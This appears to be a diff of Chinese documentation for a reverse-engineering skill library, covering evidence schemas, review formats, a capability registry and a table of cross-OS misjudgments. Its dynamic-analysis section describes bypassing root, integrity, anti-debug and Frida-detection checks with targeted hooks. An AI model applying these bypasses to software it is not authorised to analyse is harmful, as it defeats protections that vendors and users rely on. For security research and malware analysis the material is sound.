| target_id | 目标标识(路径 / 端点 / 设备 / 包名 / 模型文件) | 入口 / [[re-triage]] |
|
||||
| sha256 | 目标哈希(证据存档键;非文件目标用等价指纹——pcap 哈希、固件镜像哈希、模型文件哈希) | 入口 / [[re-triage]] |
|
||||
| evidence | 证据链(路径 + 哈希 + 命令输出位置) | 各环节 |
|
||||
| findings | 结论列表(每条带等级 confirmed / supported / hypothesis 与置信度,见第四节) | 各环节 |
|
||||
| unverified | 本环节无法确认的部分(对应复核格式的「未验证项」) | 各环节 |
|
||||
|
||||
### 3.2 域扩展字段(按目标域选,代表技能仅示例)
|
||||
|
||||
| 域 | 扩展字段 | 代表产出技能 |
|
||||
|---|---|---|
|
||||
| 文件 / 二进制(PE/ELF/Mach-O/固件) | arch、format、entropy、sections、imports_exports、strings_refs、base_addr、symbols_known | [[re-triage]]、[[re-format-pe]] / [[re-format-elf]] / [[re-format-macho]]、[[re-imports]]、[[re-ghidra]] |
|
||||
| 网络 / 协议 | endpoints(五元组与会话)、frames(帧样例与字段偏移)、state_machine(状态转移)、crypto_layer(加密层与密钥来源) | [[re-netcap]]、[[re-proto-rev]]、[[re-tls]] |
|
||||
| 总线 / 车载(CAN 等) | arbitration_ids(ID/周期/DLC)、signals(字节序与位布局)、diagnostic_sessions(UDS 服务序列)、seed_key(算法与密钥来源) | [[re-automotive]]、[[re-ics]] |
|
||||
| 射频 / SDR | center_freq、sample_rate、modulation、sync_words(帧同步字)、demod_chain | [[re-sdr]] |
|
||||
| AI 模型(文件级) | model_format、tensors(名/形状/dtype)、graph_ops(算子序列)、watermark_evidence(权重/metadata 异常) | [[re-ai-model]] |
|
||||
| AI 模型(行为级 / 仅 API) | api_endpoints、query_budget、behavior_fingerprint(响应一致性)、extraction_evidence | [[re-ai-attack]] |
|
||||
| 移动 / 托管代码 | package、components(Activity/Service)、sandbox_paths、jni_map(native 方法 ↔ 地址)、bytecode_units | [[re-apk]]、[[re-android-native]]、[[re-dotnet]]、[[re-java]] |
|
||||
| TEE / 可信执行 | ta_uuid、smc_ids、secure_storage_items、key_derivation | [[re-tee]]、[[re-hardware-io]] |
|
||||
| 取证 / 情报 | device_source、timeline(时间/动作/来源)、integrity(哈希链与分区摘要)、iocs | [[re-mem-forensics]]、[[re-disk-forensics]]、[[re-mobile-forensics]]、[[re-ioc]] |
|
||||
| 沙箱 / 行为 | process_tree、persistence、network_behavior、attck_mapping | [[re-sandbox]]、[[re-behavior]] |
|
||||
|
||||
### 3.3 传递规则
|
||||
|
||||
- **核心字段必带**(收集不到记「未知」,不阻塞);**域扩展字段按目标域选填**——不要求跨域填充(CAN 目标不需要 sections,模型目标不需要 base_addr)
|
||||
- 每个环节**只增不改**:后续环节追加字段与原字段并存;冲突以新证据为准并记录更正
|
||||
- 输出形态:JSON 或结构化表格;下一环节直接消费,不重新扫描
|
||||
|
||||
## 四、复核格式(分析后)
|
||||
|
||||
结论交付前做**独立复核**:换视角重读结论与证据(换模型/换工具/间隔后重读均可),逐条核对:
|
||||
|
||||
1. 每条结论有对应证据(文件路径 + sha256),无证据的结论等级为 hypothesis
|
||||
2. 结论与证据矛盾 → 以证据为准,修正结论
|
||||
3. 标注**证据等级**(RE 中推断常见,等级必须标注):
|
||||
- `confirmed`:直接证据可复现(字节级比对 / 调用链 / 官方文档)
|
||||
- `supported`:多源间接证据一致(字符串 + 行为 + 时序互相印证)
|
||||
- `hypothesis`:推断 / 单源弱证据(无证据的结论即此级)
|
||||
高 / 中 / 低置信度保留为辅助维度(与等级并存)
|
||||
|
||||
复核输出格式:
|
||||
|
||||
```
|
||||
结论:<一句话>
|
||||
证据:<路径 + sha256 / 命令输出位置>
|
||||
等级:confirmed / supported / hypothesis
|
||||
置信度:高 / 中 / 低
|
||||
未验证项:<复核时无法确认的部分,留空表示无>
|
||||
```
|
||||
|
||||
示例:
|
||||
|
||||
```
|
||||
结论:样本连接固定 C2
|
||||
证据:字符串(c2.example.com,xref 至 connect 调用)+ socket 调用链
|
||||
等级:supported
|
||||
置信度:中
|
||||
未验证项:C2 是否仍在线
|
||||
```
|
||||
|
||||
### 通用方法论索引(全库适用,按需引导激活)
|
||||
|
||||
以下方法论内容在各域技能中沉淀,全库通用——任何技能遇到对应场景时引导到出处激活:
|
||||
|
||||
| 方法论 | 位置 | 适用场景 |
|
||||
|---|---|---|
|
||||
| 分析方法论(入口/调用/内存/API/混淆/动态调试/深层/情报与初勘/反汇编方法/验证/知识获取,11 组) | [[re-binary-core]]「分析方法论」 | 一切二进制分析的通用手法(静态为主) |
|
||||
| 反调试方法论(基础检测/异常机制/时间检测/环境特征/硬件痕迹/线程与调试对象/自修改断点/深层检测/方法论,9 组) | [[re-anti-analysis]]「反调试方法论」 | 任何动态分析遭遇反调试时(gdb/x64dbg/mobile/沙箱) |
|
||||
| 反虚拟化方法论(指令级/时间硬件/环境评分/虚拟化通道,4 组) | [[re-anti-analysis]]「反虚拟化方法论」 | 沙箱/虚拟机对抗(检测与绕过) |
|
||||
| 平台经验(跨 OS 安装与行为差异) | [[platform-tips]] | 所有工具准备与跨平台执行 |
|
||||
|
||||
### 单函数深分析顺序
|
||||
|
||||
逐函数深分析是**收敛循环**,不是单向流水线——实际形态是「粗反编译拿线索 → 恢复类型/常量/调用形状 → 重新反编译 → 直到定点」:
|
||||
|
||||
```
|
||||
初次反编译(先拿粗结果:字段使用、调用形状、switch 形态、分配大小)
|
||||
→ types / constants / vtables / function identity 四类信息交替恢复
|
||||
→ 重新反编译
|
||||
→ 复核对齐;仍有冲突则回到上一步
|
||||
```
|
||||
|
||||
**禁止的是"只反编译不复核就交付",不是"先看反编译"**——类型恢复常常需要先有一次粗反编译才有线索(field-use / call-shape / switch / allocation size)。四类要恢复的信息:
|
||||
|
||||
1. **types——类型定义**:还原参数/返回类型与结构体字段。找什么:参数与局部变量引用的 struct、switch/比较中的 enum 值、函数指针类型(回调签名)
|
||||
2. **constants——常量定义**:识别魔数与加密常量。找什么:疑似 #define 的数字字面量、位掩码及其构成的 flag、有语义的 magic number(如 ELF 魔数——**字节序列是 `7f 45 4c 46`**,写成 C 字面量即 `"\x7fELF"`;按 u32 读时注意字节序:小端得 `0x464c457f`、大端才是 `0x7f454c46`)、协议专用常量、用作 key/标识符的字符串常量
|
||||
3. **vtables——虚表恢复**:定位虚表,反推类关系与调用点。找什么:thunk 到 vtable 分发的虚方法、读/初始化 vtable 指针、对象构造/析构序列、多条分发路径
|
||||
4. **function identity——函数名与签名**:对照已命名符号表/导入导出/调用点证据定名。找什么:import/export 的 demangled 符号名、调用点分析推出的调用约定、callee 引用推出的参数个数与类型、返回值使用分析推出的返回类型
|
||||
5. **收敛判据(定点)**:**四类同时满足才算收敛**——类型全部解析(无裸 ID)、常量已替换为有意义名字、虚调用目标已识别、最终签名带参数名。**每一轮改动都要重新反编译核对**,避免"改了类型但没验证";仍有冲突说明还没到定点,回到对应类别继续
|
||||
|
||||
每步发现记录 provenance(哪个证据支撑哪条结论)。工具不绑定:各步在 Ghidra / IDA / radare2 中有等价操作。
|
||||
|
||||
### 负面结论标准
|
||||
|
||||
下「不存在 / 未发现 / 不支持」类结论前,最少做 **3 次不同尝试**(换工具 / 换视角 / 换参数),并在复核输出中列出尝试清单。负面结论的置信度默认「中」,除非尝试清单覆盖了全部合理路径。
|
||||
|
||||
### pivot 提示链
|
||||
|
||||
分析卡住时按链换路:反调试对抗 → 打补丁/硬件断点 → 混淆 → 动态追踪 → 脱壳;每换一次记录原因(与调查预算联动:同参数重复 ≥2 次即换思路)。
|
||||
@@ -0,0 +1,57 @@
|
||||
# 动态分析对抗工作流(通用)
|
||||
|
||||
适用于任何带反分析/反调试/加固目标的动态分析(移动、桌面、固件均可)。方法为核心,插桩工具可替换(Frida / objection / Xposed / GDB / LLDB)。
|
||||
|
||||
## 崩溃迭代法(静态定位 → 定点脚本 → 崩溃日志驱动)
|
||||
|
||||
不预置通用 bypass 全家桶,按循环走:
|
||||
|
||||
1. **基线崩溃检测**:先跑原样目标(spawn/启动早期,`--pause` 或等价停在早期代码前),抓崩溃日志判四类:
|
||||
- Java/托管崩溃(FATAL EXCEPTION + 异常类名)
|
||||
- native 崩溃(SIGABRT / SIGSEGV / SIGBUS / SIGFPE / SIGILL)
|
||||
- ANR
|
||||
- 反分析指示(日志含 security / tamper / root / frida / xposed / magisk / substrate / debug / hook 关键字)
|
||||
2. **崩溃特征 → 保护机制对照**:
|
||||
|
||||
| 崩溃特征 | 指向 | 定位手段 |
|
||||
|---|---|---|
|
||||
| System.exit(0) 在栈中 | 反分析自杀 | 搜 System.exit / Process.killProcess |
|
||||
| SecurityException | 权限或完整性检查 | 搜异常类 |
|
||||
| SIGABRT(native) | native 反篡改(插桩检测、库完整性) | 看 .so,搜 dlopen / ptrace / frida 字符串 |
|
||||
| 启动即关闭无崩溃 | finish() 或早期入口内 System.exit | 读入口 Activity/函数的条件分支 |
|
||||
| root/完整性 SDK 日志(RootBeer/SafetyNet/Play Integrity) | root/完整性 SDK | 搜 SDK 包名 |
|
||||
| ssl/certificate/pin 日志 | 证书固定挡抓包 | 搜 CertificatePinner / TrustManager |
|
||||
| frida/xposed/substrate 日志 | 插桩检测 | 搜进程名 / 端口 / 模块检查 |
|
||||
|
||||
3. **定点绕过**:
|
||||
- 布尔检查方法 → 返回 false
|
||||
- native 函数 → `Interceptor.replace` 等价物 + NativeCallback 返回 0
|
||||
- 未知检查 → hook 自杀函数(System.exit 等)打印调用栈定位来源
|
||||
- 后台线程持续检查 → hook `Thread.start()` 或对应 Runnable
|
||||
4. 迭代 3-5 层检查是常态;插桩默认端口被探测 → 换端口启动
|
||||
|
||||
## 高频检测面清单(检测与绕过共用同一面)
|
||||
|
||||
- **文件系统**:插桩 server 路径、su 路径(20+ 常见位置)、`/proc/self/status` 的 TracerPid
|
||||
- **端口**:插桩默认端口(如 27042-27045)、调试器端口
|
||||
- **线程名**:插桩运行时线程名特征(GumJSLoop / GumJS-Worker / coordinator 类)
|
||||
- **内存布局**:`dlopen` 插桩库路径、`mmap` PROT_EXEC、maps 里特征字符串
|
||||
- **系统属性/环境**:`ro.debuggable`、`ro.kernel.qemu`、`LD_PRELOAD` / `DYLD_INSERT_LIBRARIES`
|
||||
- **时间**:sleep / GetTickCount / RDTSC(检测沙箱加速执行)
|
||||
- **ptrace**:PTRACE_TRACEME 自我跟踪检测调试器
|
||||
|
||||
## 裸系统调用检测
|
||||
|
||||
目标自实现系统调用(绕过 libc)时,基于 libc 符号的 hook 与检测全部失效——svc 指令级捕获:
|
||||
|
||||
- **架构分支**:arm64 SYS_OPENAT=56(无 open 系统调用)、svc 机器码 `01 00 00 D4`,路径参数在 x1(x0 是 dirfd);arm SYS_OPEN=5、`00 00 00 EF`,路径在 r0
|
||||
- **手法**:遍历可执行段(r-x)过滤 .so → 特征码扫描命中 → 回读 svc 前一条指令取系统调用号(arm64 读 `mov x8` 立即数位、arm 读 r7)→ 系统调用号等于目标(如 SYS_OPEN)才 attach → 打印文件名与返回值
|
||||
- **注意**:arm64 参数索引按系统调用约定核对(openat 路径参数在 x1,x0 是 dirfd,不照搬经验值);系统调用号表按目标内核/Android 版本核对
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 返回值只能在 **onLeave 用 `retval.replace()`** 改,onEnter 改不了
|
||||
- 同类 hook 多次赋值会**静默覆盖**(缓存问题)——相关 hook 合并进一个
|
||||
- 保存 original 引用后必须带原 `this` 调用
|
||||
- 输出优先判可打印 ASCII 再回退 hex;字符串常量缓存;选择性 hook 用完 detach
|
||||
- 客户端 hook 无法伪造**服务端** attestation 结论(Play Integrity 等)——服务端校验的结论只写「无法绕过」,不写伪成功
|
||||
@@ -0,0 +1,98 @@
|
||||
# 能力注册表(Capability Layer)
|
||||
|
||||
能力层解决技能边界漂移:技能按**能力**(可执行的分析动作)声明,域技能 = 能力组合。新增技能先声明能力,路由按能力匹配,不依赖领域名。
|
||||
|
||||
## 标签清单(validate.mjs 校验值必须在此清单内)
|
||||
|
||||
- `triage` — 文件初勘(file/哈希/熵/strings/架构识别)
|
||||
- `address-translation` — 地址空间换算(PIE/ASLR 基址、RVA/VA、loader offset、跨工具地址对齐)
|
||||
- `elf-parser` — ELF 格式解析(头/节/动态链接/符号)
|
||||
- `pe-parser` — PE 格式解析(DOS/NT 头/节表/导入导出)
|
||||
- `macho-parser` — Mach-O 解析(LC_*/segment/dyld)
|
||||
- `dex-parser` — DEX 解析(opcode/结构/混淆)
|
||||
- `bytecode-parser` — 托管字节码解析(Java/.NET/WASM/pyc/CAP 等)
|
||||
- `binary-diffing` — 二进制变体/补丁对比
|
||||
- `decompilation` — 反编译(Ghidra/IDA/Binary Ninja 等)
|
||||
- `debugging` — 交互调试(断点/单步/内存读写)
|
||||
- `tracing` — 系统调用/函数跟踪
|
||||
- `memory-dump` — 进程内存转储与定向提取
|
||||
- `memory-forensics` — 整机内存取证(Volatility)
|
||||
- `emulation` — 模拟执行(Unicorn/Qiling/QEMU)
|
||||
- `symbolic-execution` — 符号执行
|
||||
- `constraint-solving` — 约束求解(Z3)
|
||||
- `unpack` — 脱壳(压缩壳/强壳/加固 DEX)
|
||||
- `deobfuscation` — 反混淆(花指令/平坦化/脚本混淆)
|
||||
- `crypto-identification` — 加密算法识别(常量表/指纹)
|
||||
- `crypto-decryption` — 加密数据还原(定位解密函数/写解密脚本)
|
||||
- `key-extraction` — 密钥与口令提取(硬编码/内存/资源)
|
||||
- `protocol-recovery` — 协议状态机重建
|
||||
- `network-capture` — 流量捕获与过滤(tcpdump/tshark)
|
||||
- `tls-analysis` — TLS/加密流量分析(指纹/密钥导出)
|
||||
- `jni-analysis` — JNI 注册与 native 方法还原
|
||||
- `frida-instrumentation` — Frida 插桩(hook/脚本生成)
|
||||
- `firmware-extraction` — 固件提取与解包
|
||||
- `rtos-analysis` — RTOS 任务表/内核对象还原
|
||||
- `hardware-interface` — 硬件接口(JTAG/UART/flash/读卡)
|
||||
- `rf-analysis` — 射频信号采集与解调
|
||||
- `malware-behavior` — 恶意行为分析(持久化/注入/ATT&CK)
|
||||
- `threat-intel` — 威胁情报关联与归因
|
||||
- `license-analysis` — 授权验证逻辑分析(定位校验点/算法还原)
|
||||
- `fuzzing` — 覆盖率引导模糊测试
|
||||
- `shellcode-analysis` — Shellcode 提取与解码
|
||||
- `kernel-analysis` — 内核模块/驱动逆向
|
||||
- `stego-detection` — 隐写检测与提取
|
||||
- `document-malware` — 恶意文档分析(PDF/Office)
|
||||
- `evasion-analysis` — 检测规避对抗分析(AMSI/ETW)
|
||||
- `game-analysis` — 游戏逆向(Unity/Unreal/脚本引擎)
|
||||
- `console-analysis` — 主机/复古平台容器与 ROM
|
||||
- `drm-analysis` — DRM 实现分析
|
||||
- `automotive-analysis` — 汽车总线(CAN/ECU)
|
||||
- `ai-model-analysis` — AI 模型逆向与攻击
|
||||
- `blockchain-analysis` — 链上字节码(EVM 等)
|
||||
- `web-assembly` — WASM 逆向
|
||||
- `browser-extension` — 浏览器扩展逆向
|
||||
- `sdr-analysis` — 软件无线电协议恢复
|
||||
- `chip-analysis` — 芯片物理层(decap/侧信道)
|
||||
- `tee-analysis` — TEE/TrustZone 可信应用
|
||||
- `uefi-analysis` — UEFI/BIOS 固件
|
||||
- `mobile-forensics` — 移动设备取证(备份/应用数据)
|
||||
- `arch-analysis` — 架构相关逆向(ARM/MIPS/RISC-V:调用约定、指令集特性、裸机入口)
|
||||
- `lang-runtime-analysis` — 语言运行时产物逆向(Go/Rust/Swift/Zig/Nim/Haskell:符号、ABI、运行时结构)
|
||||
- `disk-forensics` — 磁盘/文件系统取证(删除恢复、时间线、未分配空间)
|
||||
- `ebpf-analysis` — eBPF 程序逆向(指令集、progs/maps 关联、跟踪与对抗)
|
||||
- `electron-analysis` — Electron 桌面应用逆向(asar/主渲染进程/CDP)
|
||||
- `hypervisor-analysis` — 虚拟化逆向(VT-x/SVM、VMCS/VMCB、嵌套与检测)
|
||||
- `jailbreak-analysis` — iOS 越狱环境与 tweak 分析(检测绕过、Theos/LLDB 远程)
|
||||
- `hybrid-app-analysis` — 跨平台框架产物逆向(Flutter/Dart AOT、Hermes/RN)
|
||||
- `exploit-development` — 利用开发(ROP/堆利用/载荷构造)
|
||||
- `binary-patching` — 二进制补丁(字节级修改、指令重写)
|
||||
- `plugin-development` — 逆向工具链扩展(Ghidra/IDA 插件工程化)
|
||||
- `sandbox-setup` — 沙箱与隔离环境搭建(动态分析前置)
|
||||
- `sample-acquisition` — 现场样本采集(异常执行内存定位、运行时捕获与提取,跨 OS 观测模型)
|
||||
|
||||
## 标注规范
|
||||
|
||||
- frontmatter 声明 `capabilities: [tag1, tag2]`(YAML list;单值可写 `capabilities: [tag]`)
|
||||
- 语义:本技能**提供**这些能力(一技能可多能力)
|
||||
- 网关/入口:声明其聚合能力;不提供分析能力的元技能(如 re-feedback)可省略字段
|
||||
- 未知标签、非 list 写法 → validate.mjs 报错
|
||||
- **标签不得悬空**:注册表里的标签必须至少被一个技能声明(validate.mjs 检查)——新增标签与声明它的技能同批提交
|
||||
- **原子技能必须声明**:未声明即 `npm test` 失败;入口(re-analyze)与不提供分析能力的元网关(re-feedback)可省略
|
||||
|
||||
## 能力索引(声明 → 消费的查询表)
|
||||
|
||||
- `capability-index.md`:能力 → 技能反查表,**机器生成**(`node bin/capindex.mjs`),含"尚未被声明"清单与覆盖率计数
|
||||
- 任何 `capabilities` 声明变更后必须重跑生成并提交,否则 `npm test` 报索引过期
|
||||
- 路由/检索按索引反查(不必按领域名猜);索引同时是可查的覆盖率看板(标签覆盖 + 技能覆盖两个口径)
|
||||
|
||||
## 路由按能力匹配
|
||||
|
||||
- `triage.md` 目标表与 `rerouting.md` A 表都带「需要能力」列,技能列由 `capability-index.md` 反查——新增/修改路由行时先定能力标签,不按领域名硬编码
|
||||
- CI 校验(`npm test`):路由能力列标签须在注册表内;路由标称能力须被本行技能声明
|
||||
|
||||
## 网关选择树的能力标注
|
||||
|
||||
- **格式**:`[[re-<技能名>]](能力:`tag1`、`tag2`)`——必须带显式「能力:」前缀;无前缀的括号是普通说明(如 `[[re-x64dbg]](`minidump` 命令)`),两者不可混
|
||||
- 写作占位符时用 `[[re-<技能名>]]` / `[[<文件名>]]`——尖括号形式不会被解析成真链接,避免文档示例触发断链报错(validate 只校验实际链接)
|
||||
- **范围**:`## 何时用哪个原子技能(选择树)` 段内**所有技能链接强制标注**;完整工作流段同样格式(非强制)
|
||||
- **CI 校验**(`npm test`):选择树内技能链接缺标注 → 失败;标注的能力须在注册表内、且被被标注技能真的声明;非技能链接(references 文档如 [[platform-tips]])豁免
|
||||
@@ -0,0 +1,78 @@
|
||||
# 能力索引(机器生成,勿手改)
|
||||
|
||||
> 生成:`node bin/capindex.mjs`|校验:`npm test`(过期即失败)
|
||||
> 用途:路由与检索按能力反查技能——能力层的查询表(声明侧见 capabilities.md)
|
||||
|
||||
## 已声明能力(标签 65/65|技能 120/122)
|
||||
|
||||
| 能力 | 说明 | 提供技能 |
|
||||
|---|---|---|
|
||||
| `address-translation` | 地址空间换算(PIE/ASLR 基址、RVA/VA、loader offset、跨工具地址对齐) | re-address-space |
|
||||
| `ai-model-analysis` | AI 模型逆向与攻击 | re-ai-attack, re-ai-model |
|
||||
| `arch-analysis` | 架构相关逆向(ARM/MIPS/RISC-V:调用约定、指令集特性、裸机入口) | re-arm, re-mips, re-riscv |
|
||||
| `automotive-analysis` | 汽车总线(CAN/ECU) | re-automotive |
|
||||
| `binary-diffing` | 二进制变体/补丁对比 | re-variant |
|
||||
| `binary-patching` | 二进制补丁(字节级修改、指令重写) | re-patching |
|
||||
| `blockchain-analysis` | 链上字节码(EVM 等) | re-blockchain |
|
||||
| `browser-extension` | 浏览器扩展逆向 | re-browser-ext |
|
||||
| `bytecode-parser` | 托管字节码解析(Java/.NET/WASM/pyc/CAP 等) | re-dotnet, re-harmonyos, re-java, re-javacard, re-managed, re-python |
|
||||
| `chip-analysis` | 芯片物理层(decap/侧信道) | re-hw-chip |
|
||||
| `console-analysis` | 主机/复古平台容器与 ROM | re-console |
|
||||
| `constraint-solving` | 约束求解(Z3) | re-ctf, re-vuln, re-z3 |
|
||||
| `crypto-decryption` | 加密数据还原(定位解密函数/写解密脚本) | re-crypto-decrypt, re-protocol |
|
||||
| `crypto-identification` | 加密算法识别(常量表/指纹) | re-android-crypto, re-crypto-id, re-protocol, re-ransomware, re-tls, re-whitebox |
|
||||
| `debugging` | 交互调试(断点/单步/内存读写) | re-binary-core, re-crash-triage, re-gdb, re-ghidra, re-ida, re-lldb, re-windbg, re-x64dbg |
|
||||
| `decompilation` | 反编译(Ghidra/IDA/Binary Ninja 等) | re-binary-core, re-binaryninja, re-cpp-abi, re-ghidra, re-ida, re-radare2 |
|
||||
| `deobfuscation` | 反混淆(花指令/平坦化/脚本混淆) | re-anti-analysis, re-deobfuscate, re-managed, re-script-deob |
|
||||
| `dex-parser` | DEX 解析(opcode/结构/混淆) | re-apk, re-mobile |
|
||||
| `disk-forensics` | 磁盘/文件系统取证(删除恢复、时间线、未分配空间) | re-disk-forensics |
|
||||
| `document-malware` | 恶意文档分析(PDF/Office) | re-doc-malware, re-malware |
|
||||
| `drm-analysis` | DRM 实现分析 | re-drm |
|
||||
| `ebpf-analysis` | eBPF 程序逆向(指令集、progs/maps 关联、跟踪与对抗) | re-ebpf |
|
||||
| `electron-analysis` | Electron 桌面应用逆向(asar/主渲染进程/CDP) | re-electron |
|
||||
| `elf-parser` | ELF 格式解析(头/节/动态链接/符号) | re-address-space, re-binary-core, re-format-elf, re-imports |
|
||||
| `emulation` | 模拟执行(Unicorn/Qiling/QEMU) | re-emulation, re-firmware, re-fw-emulate |
|
||||
| `evasion-analysis` | 检测规避对抗分析(AMSI/ETW) | re-anti-analysis, re-evasion, re-malware |
|
||||
| `exploit-development` | 利用开发(ROP/堆利用/载荷构造) | re-exploit, re-pwn |
|
||||
| `firmware-extraction` | 固件提取与解包 | re-firmware, re-fw-extract, re-fw-rootfs |
|
||||
| `frida-instrumentation` | Frida 插桩(hook/脚本生成) | re-frida, re-frida-script-author, re-mobile |
|
||||
| `fuzzing` | 覆盖率引导模糊测试 | re-fuzzing, re-vuln |
|
||||
| `game-analysis` | 游戏逆向(Unity/Unreal/脚本引擎) | re-game |
|
||||
| `hardware-interface` | 硬件接口(JTAG/UART/flash/读卡) | re-firmware, re-hardware-io |
|
||||
| `hybrid-app-analysis` | 跨平台框架产物逆向(Flutter/Dart AOT、Hermes/RN) | re-flutter, re-hybrid-app |
|
||||
| `hypervisor-analysis` | 虚拟化逆向(VT-x/SVM、VMCS/VMCB、嵌套与检测) | re-hypervisor |
|
||||
| `jailbreak-analysis` | iOS 越狱环境与 tweak 分析(检测绕过、Theos/LLDB 远程) | re-ios-jb |
|
||||
| `jni-analysis` | JNI 注册与 native 方法还原 | re-android-native, re-mobile |
|
||||
| `kernel-analysis` | 内核模块/驱动逆向 | re-anti-cheat, re-kernel |
|
||||
| `key-extraction` | 密钥与口令提取(硬编码/内存/资源) | re-android-crypto, re-crypto-keys, re-malware, re-protocol, re-whitebox |
|
||||
| `lang-runtime-analysis` | 语言运行时产物逆向(Go/Rust/Swift/Zig/Nim/Haskell:符号、ABI、运行时结构) | re-fp-runtime, re-go, re-nim, re-rust, re-swift, re-zig |
|
||||
| `license-analysis` | 授权验证逻辑分析(定位校验点/算法还原) | re-cracking, re-keygen, re-license |
|
||||
| `macho-parser` | Mach-O 解析(LC_*/segment/dyld) | re-binary-core, re-format-macho, re-ios, re-macos |
|
||||
| `malware-behavior` | 恶意行为分析(持久化/注入/ATT&CK) | re-behavior, re-fileless, re-loader, re-malware, re-ransomware |
|
||||
| `memory-dump` | 进程内存转储与定向提取 | re-binary-core, re-memdump |
|
||||
| `memory-forensics` | 整机内存取证(Volatility) | re-forensics, re-mem-forensics |
|
||||
| `mobile-forensics` | 移动设备取证(备份/应用数据) | re-forensics, re-mobile, re-mobile-forensics |
|
||||
| `network-capture` | 流量捕获与过滤(tcpdump/tshark) | re-netcap, re-protocol |
|
||||
| `pe-parser` | PE 格式解析(DOS/NT 头/节表/导入导出) | re-binary-core, re-format-pe, re-imports |
|
||||
| `plugin-development` | 逆向工具链扩展(Ghidra/IDA 插件工程化) | re-plugin-dev |
|
||||
| `protocol-recovery` | 协议状态机重建 | re-ics, re-iot-proto, re-proto-rev, re-protocol |
|
||||
| `rf-analysis` | 射频信号采集与解调 | re-sdr |
|
||||
| `rtos-analysis` | RTOS 任务表/内核对象还原 | re-firmware, re-rtos |
|
||||
| `sample-acquisition` | 现场样本采集(异常执行内存定位、运行时捕获与提取,跨 OS 观测模型) | re-sample-acquire |
|
||||
| `sandbox-setup` | 沙箱与隔离环境搭建(动态分析前置) | re-sandbox |
|
||||
| `sdr-analysis` | 软件无线电协议恢复 | re-sdr |
|
||||
| `shellcode-analysis` | Shellcode 提取与解码 | re-ctf, re-shellcode |
|
||||
| `stego-detection` | 隐写检测与提取 | re-ctf, re-stego |
|
||||
| `symbolic-execution` | 符号执行 | re-angr, re-vuln |
|
||||
| `tee-analysis` | TEE/TrustZone 可信应用 | re-tee |
|
||||
| `threat-intel` | 威胁情报关联与归因 | re-attribution, re-forensics, re-hunting, re-ioc, re-malware, re-ti |
|
||||
| `tls-analysis` | TLS/加密流量分析(指纹/密钥导出) | re-protocol, re-tls |
|
||||
| `tracing` | 系统调用/函数跟踪 | re-tracing |
|
||||
| `triage` | 文件初勘(file/哈希/熵/strings/架构识别) | re-ai-triage, re-triage |
|
||||
| `uefi-analysis` | UEFI/BIOS 固件 | re-firmware, re-uefi |
|
||||
| `unpack` | 脱壳(压缩壳/强壳/加固 DEX) | re-anti-analysis, re-mobile-pack, re-packer-id, re-unpack-advanced, re-unpack-simple |
|
||||
| `web-assembly` | WASM 逆向 | re-wasm |
|
||||
|
||||
## 尚未被声明(0)
|
||||
|
||||
(无——注册表标签全部有技能声明)
|
||||
@@ -0,0 +1,226 @@
|
||||
# 跨系统运行模型与误判总表
|
||||
|
||||
**用途**:任何"现象看起来异常"的时刻,先过这张表。它的价值不在于介绍系统,而在于**阻止把某个系统的正常机制判成 bug / hook / dead code / 恶意**。
|
||||
|
||||
**前置**:本文件假设你已经知道"这是哪个系统"。**认不出目标时先走 [[system-fingerprints]]**(载体格式 → 家族 → 系统 → 易混淆对 → 负判据)。两者配合使用:先定身份,再查该身份允许哪些"正常异常"。
|
||||
|
||||
判定顺序(本文件的核心主张):
|
||||
|
||||
```
|
||||
观察异常现象
|
||||
→ 识别目标的运行模型(哪个系统、哪个构建、哪个阶段)
|
||||
→ 判断该模型允许哪些"正常异常现象"
|
||||
→ cross-view / 配置核对 / 运行时验证
|
||||
→ 最后才判定:损坏、恶意,或真的是 bug
|
||||
```
|
||||
|
||||
## 一、十类高频误判(先怀疑,再排除)
|
||||
|
||||
| 观察到的现象 | 不要直接推断 | 必须先排除 |
|
||||
|---|---|---|
|
||||
| 函数 0 xref | dead code | linker set、generated registry、callback、IPC dispatch、RTE、init table、AST、exception table |
|
||||
| 地址变化 | hook / 不同 binary | KASLR、KARL、relocation、PAC、GPA/HPA、local handle |
|
||||
| 同一个整数 | 同一个对象 | CPtr、Zircon handle、endpoint、fid、grant ref、event port、capability name |
|
||||
| driver 没有 syscall / IRP handler | 没有 I/O | framework callback、user-space driver、miniport、resource manager、DDF、scheme |
|
||||
| thread READY 却不运行 | scheduler bug | partition window、budget、SC、safety class、上层 scheduler、调度器被禁用 |
|
||||
| 文件存在但代码没运行 | loader bug | activation state、AuxKC、Function Group、module load stage、按需发现 |
|
||||
| disk code ≠ runtime code | rootkit | livepatch、ftrace、jump labels、kernel collection、runtime relocation、init 段已释放 |
|
||||
| IPC 没有 syscall trace | 没发生通信 | shared-memory channel、local transport、co-located driver、VMBus、grant table |
|
||||
| memory access fault | 内存坏了 | MPU zone、capability rights、cell/partition 归属、IOMMU、当前特权级 |
|
||||
| 服务突然换 PID / endpoint | 劫持 | restart / live update / reincarnation / 按需加载 |
|
||||
|
||||
## 二、共同规律 A:本地句柄 ≠ 全局标识
|
||||
|
||||
跨进程、跨分区、跨域建图之前,**必须先恢复 `本地标识 → 命名空间/表 → 真实对象`**,再谈关系。
|
||||
|
||||
| 系统 | 本地标识 | 恢复方式 |
|
||||
|---|---|---|
|
||||
| seL4 | CPtr | 各自的 CSpace 映射 → kernel object |
|
||||
| Fuchsia/Zircon | handle 整数 | 进程 handle 表 → 对象 + rights |
|
||||
| MINIX 3 | endpoint / grant ID | label 解析、grant 表条目 + 序列号 |
|
||||
| Genode | capability 局部名 | PD 局部命名 → session/对象 |
|
||||
| Plan 9 | 9P fid | 连接 + walk 历史 + qid |
|
||||
| Xen | grant ref / event port | grant 表条目;`shared_info` 位掩码(远端端口才稳定) |
|
||||
| Bao | —— | 共享对象 identity 是配置里的 `shmem_id`,不是地址 |
|
||||
| ACRN / Jailhouse | —— | 共享区归属由配置/前缀(`dm:/` vs `hv:/`)决定 |
|
||||
|
||||
## 三、共同规律 B:ready 不是"有资格现在占用 CPU"的充分条件
|
||||
|
||||
分区/安全系统(ARINC 653、PikeOS、INTEGRITY、Deos、XtratuM、LynxSecure、Jailhouse、Bao、Quest-V)**共用一条经验**:
|
||||
|
||||
```
|
||||
资源资格(budget/quota)
|
||||
→ 分区/域资格(当前窗口、调度计划、CPU 归属、safety mode)
|
||||
→ 本地调度器资格
|
||||
→ 线程优先级
|
||||
```
|
||||
|
||||
**不能简化为"最高优先级 READY 者运行"。** 分析时先对齐分区级时间线,再看线程级。
|
||||
|
||||
## 四、共同规律 C:没有内核入口 ≠ 没有 I/O
|
||||
|
||||
